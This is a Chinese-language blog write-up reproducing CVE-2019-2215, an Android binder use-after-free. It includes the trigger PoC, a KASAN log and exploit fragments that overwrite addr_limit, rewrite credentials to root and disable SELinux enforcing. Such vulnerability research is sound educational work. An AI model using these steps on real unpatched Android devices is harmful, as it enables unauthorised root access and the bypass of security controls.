CVE-2019-2215 漏洞复现与分析

Brief

CVE-2019-2215 是有一个Android平台教科书级别的提权漏洞,Google Project Zero 针对该漏洞做了很详细的分析。如果手上有一台Pixel 2,刷入指定的4.4.177-g83bee1dc48e8 镜像,配合Jann Horn & Maddie Stone或是其他dalao们的exploit即可轻松复现;

可惜我手上并没有一台Pixel 2,甚至都没有可以刷入Android P的4.4内核手机,因此不得不按照CloudFuzz 团队的教程搭建了一套带有漏洞的模拟器环境,才完成了复现(这套环境可以直接在我的github上下载);

从分类上来讲,CVE-2019-2215是一个UAF漏洞,与之前复现过的CVE-2015-3636相似,差异点在于两个漏洞利用过程使用的内存读写原语(primitive)。 CVE-2015-3636 利用物理内存喷射完成了task_stuct的泄漏,利用socket的close函数配合ROP完成了任意地址写;而本次复现目标CVE-2019-2215 利用了Retme7在Code Blue 2017说明的利用方法,通过控制 vectored (scatter/gather) I/O的大小来完成申请到Binder未完全释放的内存;通过writev 完成读操作;通过revmsg 完成写操作;

由于本漏洞利用过程中的防护策略相似,因此在patch addr_limit之后的流程于PingPong root基本相同:改写task_struct中的uid,关闭SELinux,释放root shell; 但是,这第二次的漏洞复现过程还是提升了一些对于细节上的理解;

漏洞成因分析 & 内核基础知识

PoC 分析

Google Project Zero提供了一个简单的PoC用于验证该漏洞:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#include <fcntl.h>
#include <sys/epoll.h>
#include <sys/ioctl.h>
#include <stdio.h>


#define BINDER_THREAD_EXIT 0x40046208ul


int main() {
int fd, epfd;
struct epoll_event event = {.events = EPOLLIN};

fd = open("/dev/binder", O_RDONLY);
epfd = epoll_create(1000);
epoll_ctl(epfd, EPOLL_CTL_ADD, fd, &event);
ioctl(fd, BINDER_THREAD_EXIT, NULL);
}

整个Poc的流程清晰明了,可以概括为以下几个步骤:

  1. 打开binder 驱动;

  2. 创建一个epoll,并将binder fd加入到epoll中;

  3. 调用binder驱动的BINDER_THREAD_EXIT (释放掉binder thread结构)

该Poc运行在一般的内核上没有明显的效果,但是,在开启KASAN的内核上可以抓取到以下的日志:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
[  153.766696] ==================================================================
[ 153.768254] BUG: KASAN: use-after-free in _raw_spin_lock_irqsave+0x29/0x4a
[ 153.769588] Write of size 4 at addr ffff888011323ca0 by task cve-2019-2215-t/7345
[ 153.771026]
[ 153.771340] CPU: 1 PID: 7345 Comm: cve-2019-2215-t Tainted: G W 4.14.150+ #7
[ 153.773327] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS rel-1.11.1-0-g0551a4be2c-prebuilt.qemu-project.org 04/01/2014
[ 153.776108] Call Trace:
[ 153.776955] dump_stack+0x8f/0xc8
[ 153.777652] ? _raw_spin_lock_irqsave+0x29/0x4a
[ 153.778604] print_address_description+0x7b/0x2d1
[ 153.779584] ? _raw_spin_lock_irqsave+0x29/0x4a
[ 153.780546] ? _raw_spin_lock_irqsave+0x29/0x4a
[ 153.781440] __kasan_report+0x14a/0x192
[ 153.782197] ? _raw_spin_lock_irqsave+0x29/0x4a
[ 153.783057] kasan_report+0x12/0x17
[ 153.783700] check_memory_region+0x2b/0x130
[ 153.784470] kasan_check_write+0x14/0x16
[ 153.785222] _raw_spin_lock_irqsave+0x29/0x4a
[ 153.785984] remove_wait_queue+0x18/0x7a
[ 153.786777] ep_unregister_pollwait.isra.8+0xb1/0xe4
[ 153.787945] ? SYSC_epoll_create1+0x207/0x207
[ 153.788704] ep_free+0x71/0x116
[ 153.789367] ep_eventpoll_release+0x32/0x3c
[ 153.790563] __fput+0x1a6/0x30d
[ 153.791197] ____fput+0x17/0x19
[ 153.792548] task_work_run+0xc6/0xe3
[ 153.793195] do_exit+0x8ed/0x1458
[ 153.793802] do_group_exit+0x98/0x182
[ 153.794443] ? do_group_exit+0x182/0x182
[ 153.795345] SyS_exit_group+0x1d/0x1d
[ 153.796045] do_syscall_64+0xfa/0x124
[ 153.797243] entry_SYSCALL_64_after_hwframe+0x3d/0xa2
[ 153.798246] RIP: 0033:0x4047d7
[ 153.798864] RSP: 002b:00007fffd9611c28 EFLAGS: 00000246 ORIG_RAX: 00000000000000e7
[ 153.800251] RAX: ffffffffffffffda RBX: 0000000000000000 RCX: 00000000004047d7
[ 153.801688] RDX: 0000000000000002 RSI: 0000000000001000 RDI: 0000000000000000
[ 153.802971] RBP: 0000000000000000 R08: 0000000000482335 R09: 0000000000000000
[ 153.804235] R10: 00007fffd9611c20 R11: 0000000000000246 R12: 0000000000400190
[ 153.805828] R13: 00000000004a4618 R14: 00000000004002e0 R15: 00007fffd9611cf0
[ 153.807080]
[ 153.807365] Allocated by task 7345:
[ 153.807994] save_stack_trace+0x16/0x18
[ 153.808680] save_stack+0x46/0xab
[ 153.809277] __kasan_kmalloc+0x9c/0xae
[ 153.810507] kasan_kmalloc+0xf/0x11
[ 153.811140] __kmalloc+0x16b/0x18e
[ 153.811861] kzalloc.constprop.45+0x1c/0x1e
[ 153.812819] binder_get_thread+0x10b/0x3cf
[ 153.813565] binder_poll+0x36/0x123
[ 153.814192] ep_item_poll+0x64/0x80
[ 153.814937] SyS_epoll_ctl+0x7fa/0x1092
[ 153.815665] do_syscall_64+0xfa/0x124
[ 153.816319] entry_SYSCALL_64_after_hwframe+0x3d/0xa2
[ 153.817202] 0xffffffffffffffff
[ 153.817762]
[ 153.818042] Freed by task 7345:
[ 153.818606] save_stack_trace+0x16/0x18
[ 153.819288] save_stack+0x46/0xab
[ 153.819884] __kasan_slab_free+0x10d/0x130
[ 153.820912] kasan_slab_free+0xe/0x10
[ 153.821893] slab_free_freelist_hook+0xdc/0x109
[ 153.822857] kfree+0x102/0x198
[ 153.823409] binder_thread_dec_tmpref+0xf1/0x117
[ 153.824228] binder_thread_release+0x2a0/0x2b2
[ 153.825165] binder_ioctl+0x37b1/0x3dc7
[ 153.825965] vfs_ioctl+0x52/0x6d
[ 153.826546] do_vfs_ioctl+0x66f/0x69d
[ 153.827379] SyS_ioctl+0x6c/0xa8
[ 153.828109] do_syscall_64+0xfa/0x124
[ 153.829017] entry_SYSCALL_64_after_hwframe+0x3d/0xa2
[ 153.829912] 0xffffffffffffffff

通过KASAN的内核日志,可以看到虽然通过BINDER_THREAD_EXIT已经释放掉了内核中的binder_thread结构,但是在epoll中仍然链接了一个关于binder_thread的指针,因此,通过epoll其他的操作的时候即可触发UAF漏洞;

iovec 介绍

为了能让UAF利用成功,我们需要一个内核内的数据结构来劫持掉释放后的binder_thread内存空间;这里利用到的结构为struct iovec, 其定义如下:

1
2
3
4
5
struct iovec
{
void __user *iov_base; /* BSD uses caddr_t (1003.1g requires void *) */
__kernel_size_t iov_len; /* Must be size_t (1003.1g) */
};

这个结构体被用于Vectored I/O中,其功能就是将数据从单一的buffer写到多个buffer中;或是从多个buffer中读取数据到一个buffer中。这个功能很好的减轻了频繁的系统调用(syscall)导致的性能损失;

让我们偷一张图来展示其运作原理:

vectored-io-working.png

这张图生动的说明了一个问题,我们可以通过控制iovec的数量来控制被分配到内核内存空间的大小;例如:sizeof(binder_thread) = 408 and sizeof(iovec) = 16 因此,只需要25个iovec struct形成的数组就可以获取到被释放的binder_thread结构 (由于其都会命中kmalloc-512)

并且Vectored_I/O也提供了writev以及recvmsg 来形成后续的读/写原语;

可以说,如果没有特殊场景的限制,struct iovec都将是一个不错的用于劫持UAF的数据结构,更多利用思路可以直接看Retme7的slide “The Art of Exploiting Unconventional Use-after-free Bugs in Android Kernel”.

漏洞提权过程

通过Poc我们了解了epoll会持有binder_thread中的某个指针,网上Google几篇分析blog顺着梳理下源码,即可确定这个指针为binder_thread->wait ;

当使用ioctl调用EPOLL_CTL_DEL 的时候,顺一下源代码,可以看到会触发一次__list_del

1
2
3
4
5
6
7
8
9
10
11
12
13
14
static inline void __list_del(struct list_head * prev, struct list_head * next)
{
next->prev = prev;
WRITE_ONCE(prev->next, next);
}

#ifndef CONFIG_DEBUG_LIST
...
static inline void list_del(struct list_head *entry)
{
__list_del(entry->prev, entry->next);
entry->next = LIST_POISON1;
entry->prev = LIST_POISON2;
}

可以将binder_thread->wait.head 写入到binder_thread->wait.head.prev以及binder_thread->wait.head.next中;

看一下这两个指针在binder_thread中的偏移情况

offset binder_thread iovecStack
0x00 iovec[0].iov_base = 0x0000000000000000
0x08 iovec[0].iov_len = 0x0000000000000000
0xA0 wait.lock iovec[10].iov_base = dummy_page
0xA8 wait.head.next iovec[10].iov_len = PAGE_SIZE
0xB0 wait.head.prev iovec[11].iov_base = 0x41414141
0xB8 iovec[11].iov_len = PAGE_SIZE

Nice, 后续通过iovec[10]和iovec[11]即可完成读写;

在漏洞利用过程中仍然有一个需要注意的细节,即binder_thread + 0xA0位置的wait.lock 这是一个自旋锁,因此,需要iovec[10].iov_base的低位全部为0;解决的办法就是通过mmap申请一块内存来保证其低位全部为0

1
2
3
4
5
6
7
dummy_page = mmap((void *) 0x100000000ul, PAGE_SIZE, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);
if (!dummy_page) {
printf("\t[-] Error : unable to mmap 4GB aligned page\n");
exit(EXIT_FAILURE);
} else {
printf("\t[*] Mapped page : %p\n", dummy_page);
}

泄漏 task_struct

task_struct结构的重要程度不必多说,而struct binder_thread中恰好就存有task_struct; 因此,从binder_thread->wait.head开始泄漏数据,就可以直接获取到许多有价值的信息;

那么,如何来泄漏binder_thread + 0xa8呢?让我们再偷一张经典图来展示利用流程

CVE-2019-2215 UAF-Flow graph for blog.png

而经典图中有一处细节没有展示清楚,即struct iovec利用起来的一点不便之处:这个结构的生命周期十分短暂

They are allocated by system calls when they are working with the buffers and immediately freed when they return to user mode.

因此,需要向pipe 文件描述符中进行读写,通过限制pipe的大小,可以及时的阻塞writev/readv调用;避免了UAF漏洞还未触发,读写操作就已经完成的尴尬;

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
/**
* step2 [pipe and iovec init]
*
*/
printf("[+] Setting pipe");
if (pipe(pipe_fd) == -1) {
printf("\t[-] Error : unable to create pipe.\n");
exit(EXIT_FAILURE);
} else {
printf("\t[*] create pipe successfully.\n");
}

printf("[+] Reducing the size of pipe to PAGE_SIZE.\n");
if (fcntl(pipe_fd[0], F_SETPIPE_SZ, PAGE_SIZE) == -1) {
printf("\t[-] Error : unable to change the pipe capacity.\n");
exit(EXIT_FAILURE);
} else {
printf("\t[*] change the size of pipe success.\n");
}

改写 Addr_limit

关于addr_limit

在内核漏洞利用场景中,通过改写addr_limit 达到任意地址读/写是一个重要的步骤;在学习和复现CVE-2015-3636中专门梳理过关于addr_limit 的相关知识。但在本次复现中,又有了一些新的不同;

CVE-2015-3636中,通过一次巧妙的ROP实现了set_fs (KERNEL_DS)addr_limit设置成了0xFFFFFFFFFFFFFFFF,but now:

Vitaly Nikolenko (@vnik5287) pointed out that in arm64 there is a check in do_page_fault function which will crash the process if the addr_limit is set to 0xFFFFFFFFFFFFFFFF. I did all of my tests on x86_64 system so did not notice that in the beginning.

让我们来看一下do_page_fault 的代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
static int __kprobes do_page_fault(unsigned long addr, unsigned int esr,
struct pt_regs *regs)
{
struct task_struct *tsk;
struct mm_struct *mm;
int fault, sig, code, major = 0;
unsigned long vm_flags = VM_READ | VM_WRITE;
unsigned int mm_flags = FAULT_FLAG_ALLOW_RETRY | FAULT_FLAG_KILLABLE;
[...]
if (is_ttbr0_addr(addr) && is_permission_fault(esr, regs, addr)) {
/* regs->orig_addr_limit may be 0 if we entered from EL0 */
if (regs->orig_addr_limit == KERNEL_DS)
die("Accessing user space memory with fs=KERNEL_DS", regs, esr);
[...]
}
[...]
return 0;
}

这里检查了如果regs->orig_addr_limit == KERNEL_DS, 则程序直接go die; 而由于几乎每一次的内存申请都会伴随着do_page_fault, 我们很难避免在将addr_limit 设置为0xFFFFFFFFFFFFFFFF 后不再触发该函数;因此,大多数漏洞利用都将addr_limit设置成了0xFFFFFFFFFFFFFFFE, 在保证不会崩溃的前提下,最大化内存地址的读写范围;

任意地址写原语

现在我们需要想办法将该UAF漏洞转化成一个内核地址写的原语。我们仍然需要使用前面提到的unlink原语,它将binder_thread->wait.head(+0xA8),写入到了binder_thread->wait.head->next(+0xA8) 以及binder_thread->wait.head->prev(+0xB0)中,用图表直观的展示一下:

offset binder_thread iovecStack
0x00 iovec[0].iov_base = 0x0000000000000000
0x08 iovec[0].iov_len = 0x0000000000000000
0xA0 wait.lock iovec[10].iov_base -> keep the spinlock
0xA8 wait.head.next-> clobber with +0xA8 iovec[10].iov_len
0xB0 wait.head.prev-> clobber with +0xA8 iovec[11].iov_base -> write to iovec[10].iov_len
0xB8 iovec[11].iov_len
0xC0 iovec[12].iov_base
0xC8 iovec[12].iov_len

在unlink原语之后,写入 iovec[11]的时候实际上会写入iovec[10].iov_len,通过控制写入iovec[11]的内容,可以控制后续所有iovec的写入位置 & 写入长度,这里我们尝试将iovec[12].iov_base改写成addr_limit的地址;

首先,设置原始传入的iovec_stack

1
2
3
4
5
6
iovec_stack[IOVEC_OVERLAP_INDEX].iov_base = dummy_page;   // keep the spinlock
iovec_stack[IOVEC_OVERLAP_INDEX].iov_len = 1;
iovec_stack[IOVEC_OVERLAP_INDEX + 1].iov_base = (void*)0x41414141;
iovec_stack[IOVEC_OVERLAP_INDEX + 1].iov_len = 0x8 + 0x8 + 0x8 + 0x8;
iovec_stack[IOVEC_OVERLAP_INDEX + 2].iov_base = (void*)0x42424242;
iovec_stack[IOVEC_OVERLAP_INDEX + 2].iov_len = 0x8;

下面我们控制写入的数据内容:

1
2
3
4
5
6
7
8
static uint64_t final_socket_data[] = {
0x1, // iovec_stack[IOVEC_SIZE].iov_len
0x41414141, // iovec_stack[IOVEC_SIZE + 1].iov_base
0x8 + 0x8 + 0x8 + 0x8, // iovec_stack[IOVEC_SIZE + 1].iov_len
(uint64_t) ((uint8_t *) task_struct_kptr
            + OFFSET_TASK_STRUCT_ADDR_LIMIT), // iovec_stack[IOVEC_SIZE + 2].iov_base
0xFFFFFFFFFFFFFFFE // addr_limit value
};

通过设置iovec[11].iov_len = 0x8 * 4, 因此,final_socket_data的前四个数据会被填充到iovec[10].iov_leniovec[12].iov_base的位置,之后第五个数据会被尝试写入iovec[12].iov_base指向的地址;

可以说这是一个相当有意思的任意地址写原语了,设置可以通过扩大iovec[11].iov_len来做到触发一次UAF批量的地址写入想要的内容;

唯一的问题,与泄漏task_struct 相同的问题,需要在”写完”iovec[10]之后能够产生一个阻塞,等待unlink触发之后,再继续写入内容。因此,需要一个socketpairrecvmsg来完成,通过设置MSG_WAITALL flag来完成。

整体代码与泄漏task_struct相似

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
    printf("[+] Setting up socket.\n");
if (socketpair(AF_UNIX, SOCK_STREAM, 0, sock_fd) == -1) {
printf("\t[-] unable to create socket pair.\n");
exit(EXIT_FAILURE);
} else {
printf("\t[*] socketpair created successfully.\n");
}

/* garbage data */
static char garbage_data[] = { 0x41 };
printf("[+] write garbage data to socket.\n");
nBytesWritten = write(sock_fd[1], &garbage_data, sizeof(garbage_data));
if (nBytesWritten != sizeof(garbage_data)) {
printf("\t[-] write failed. nBytesWritten: 0x%lx, expected: 0x%lx.\n", nBytesWritten, sizeof(garbage_data));
exit(EXIT_FAILURE);
}
    /* prepare the message */
message.msg_iov = iovec_stack;
message.msg_iovlen = IOVEC_SIZE;

/**
* step 4: trigging the Vuln and clobber addr_limit
*
*/
printf("[+] Linking epoll\n");
epoll_ctl(epoll_fd, EPOLL_CTL_ADD, binder_fd, &event);

pid_t child = fork();
if (child == 0) {
/* child process */
sleep(2);

epoll_ctl(epoll_fd, EPOLL_CTL_DEL, binder_fd, &event);

// write rest of the data to socket, so that recvmsg resume.
nBytesWritten = write(sock_fd[1], final_socket_data, sizeof(final_socket_data));

if (nBytesWritten != sizeof(final_socket_data)) {
printf("\t[-] write failed. nBytesWriten : 0x%lx, excepted: 0x%lx.\n", nBytesWritten, sizeof(final_socket_data));
exit(EXIT_FAILURE);
}

exit(EXIT_SUCCESS);
}

// parent process
// trigge binder_thread free
ioctl(binder_fd, BINDER_THREAD_EXIT, NULL);

// the MSG_WAITALL flag could cause a block. waiting for child process write `final_socket_data` into iovec;
ssize_t nBytesReceived = recvmsg(sock_fd[0], &message, MSG_WAITALL);

ssize_t expected_received_size = iovec_stack[IOVEC_OVERLAP_INDEX].iov_len + iovec_stack[IOVEC_OVERLAP_INDEX + 1].iov_len + iovec_stack[IOVEC_OVERLAP_INDEX + 2].iov_len;
if (nBytesReceived != expected_received_size) {
printf("\t[-] recvmsg failed. nBytesReceived : 0x%lx, expected : 0x%lx.\n", nBytesRead, expected_received_size);
exit(EXIT_FAILURE);
}

wait(nullptr);

改写cred struct & disable SELinux Enforcing

完成patch addr_limit之后,我们就可以通过一组pipe fd完成稳定的任意地址读写了;

通过泄漏出来的task_cred_kptr(通过task_struct 推算得到),重写task_cred,将当前进程的UID/GID改写成root

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
    printf("[+] reading cred pointer from task_struct.\n");
cred_kptr = kReadQword((void*)task_cred_kptr);

kWriteDword((void*)(cred_kptr + CRED_UID_OFFSET), GLOBAL_ROOT_UID);
kWriteDword((void*)(cred_kptr + CRED_GID_OFFSET), GLOBAL_ROOT_GID);
kWriteDword((void*)(cred_kptr + CRED_SUID_OFFSET), GLOBAL_ROOT_UID);
kWriteDword((void*)(cred_kptr + CRED_SGID_OFFSET), GLOBAL_ROOT_GID);
kWriteDword((void*)(cred_kptr + CRED_EUID_OFFSET), GLOBAL_ROOT_UID);
kWriteDword((void*)(cred_kptr + CRED_EGID_OFFSET), GLOBAL_ROOT_GID);
kWriteDword((void*)(cred_kptr + CRED_FSUID_OFFSET), GLOBAL_ROOT_UID);
kWriteDword((void*)(cred_kptr + CRED_FSGID_OFFSET), GLOBAL_ROOT_GID);
kWriteDword((void*)(cred_kptr + CRED_SECUREBITS_OFFSET), SECUREBITS_DEFAULT);
kWriteQword((void*)(cred_kptr + CRED_CAP_INHERITABLE_OFFSET), CAP_EMPTY_SET);
kWriteQword((void*)(cred_kptr + CRED_CAP_PERMITTED_OFFSET), CAP_FULL_SET);
kWriteQword((void*)(cred_kptr + CRED_CAP_EFFECTIVE_OFFSET), CAP_FULL_SET);
kWriteQword((void*)(cred_kptr + CRED_CAP_BSET_OFFSET), CAP_FULL_SET);
kWriteQword((void*)(cred_kptr + CRED_CAP_AMBIENT_OFFSET), CAP_EMPTY_SET);

通过init_nsproxy_kptr推算出kernel_base,在根据/proc/kallsyms中的符号表,计算出selinux_enforcing_kptr的位置,将其写成0,做到disable selinux

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
    printf("[+] reading init_nsproxy pointer from task_struct.\n");
init_nsproxy_kptr = kReadQword((void*)task_init_nsproxy_kptr);

kbase = init_nsproxy_kptr - 0x1233800;
printf("\t[+] kernel base : 0x%lx\n", kbase);

uint64_t selinux_enforcing_kptr = kbase + 0x14AA000;
int ret = kReadDword((void*)selinux_enforcing_kptr);
if (ret && ret != -1) {
printf("\t[+] SELinux enforcing is enabled.\n");
kWriteDword((void*)selinux_enforcing_kptr, 0x0);
printf("\t[+] successfully disabled SELinux enforcing.\n");
} else if(ret == 0) {
printf("\t[+] SELinux enforcing is disabled.\n");
}

最后的最后,spawn an shell and enjoy your root !

后记

之于复现过程以外的一些启示,基本上就是Google P0 blog的读后感;

在文章的Hunting the BUG的部分,介绍了P0团队如何通过有限的在野漏洞利用信息,快速定位到漏洞位置。在小米的工作的相似经历让我对这部分尤为感兴趣,因此我在首次读到这里的时候(复现漏洞之前),尝试通过文中的信息定位到漏洞位置,下面是当时我得出的一些结论:

  • It is a kernel privilege escalation using a use-after-free vulnerability, reachable from inside the Chrome sandbox.

    • 这是一个内核UAF漏洞引发的内核提权,其与另一个Chrome漏洞组合完成完整的远程提权利用链;
  • It works on Pixel 1 and 2, but not Pixel 3 and 3a.

    • 这可能是一个linux内核通用漏洞,在不同机型上patch引入不同导致的;可以关注一下内核的UAF patch是否有一些Pixel 3/3a引入的patch
  • It was patched in the Linux kernel >= 4.14 without a CVE

    • 同上,本身pixel 1/2 与 pixel 3/3a 使用的就不是相同的内核版本;
  • CONFIG_DEBUG_LIST breaks the primitive.

    • 看不懂
  • CONFIG_ARM64_UAO hinders exploitation.

    • 看不懂 + 1
  • The vulnerability is exploitable in Chrome’s renderer processes under Android’s isolated_app SELinux domain.

    • 通用型很强,可以说任意app都可以利用该漏洞, 没有SELinux的限制也可以说明是通过一些“常用“系统调用完成的
  • The exploit requires little or no per-device customization.

    • 说明是个好漏洞,通用型非常好了。极大可能出自内核的通用模块上,排除了由高通等厂商引入的可能;

对比下Maddie Stone给出的推论:

  • “It is a kernel privilege escalation using a use-after-free vulnerability, accessible from inside the Chrome sandbox.”

We know that it’s a use-after-free in the kernel.

  • “It works on Pixel 1 and 2, but not Pixel 3 and 3a.”

We can diff the Pixel 2 and Pixel 3 kernels looking for changes.

  • “It was patched in the Linux kernel >= 4.14 without a CVE.”

The Pixel 3 is based on the Linux kernel 4.9 and doesn’t include the vulnerability, but the fix is not in the 4.9 Linux kernel, only 4.14.

  • “CONFIG_DEBUG_LIST breaks the primitive.”

This was an extremely helpful tip. In the kernel, there are only two actions (three functions) whose behavior changes based on the CONFIG_DEBUG_LIST flag: adding (list_add) and deleting (list_del_entry and list_del) from a doubly linked list. Therefore, we could infer that the freed obj is a linked list and has an add or delete performed on it after the free occurs.

  • “CONFIG_ARM64_UAO hinders exploitation.”

Likely means that the exploit is using the memory corruption to overwrite the address limit that is stored near the start of the task_struct. (It would normally be stored at the bottom of the stack on Linux <=4.9, but Android backported the change that moved it into task_struct to protect against stack overflows to older kernels.)

  • The exploit requires little or no per-device customization.

We can assume the bug and its exploitation methodology are in the common kernel rather than in code that is often customized, like the framework.

  • “A list of affected and unaffected devices and their versions.”

Whenever there was a candidate bug that seemed to fit all the requirements above, I then vetted it against the list of affected and unaffected devices.

可以说差距还是很明显的,特别是通过一些内核编译选项就能得出的有效结论直接能反馈到漏洞利用的一些细节操作;同时,反思对于第二点,可能是前期对于该漏洞的关注(毕竟这漏洞已经出了好多年了)让我的结论有些“开天眼”;总之,要继续提高从有限的漏洞细节中快速提取更多有效信息的敏锐性。

REFERENCE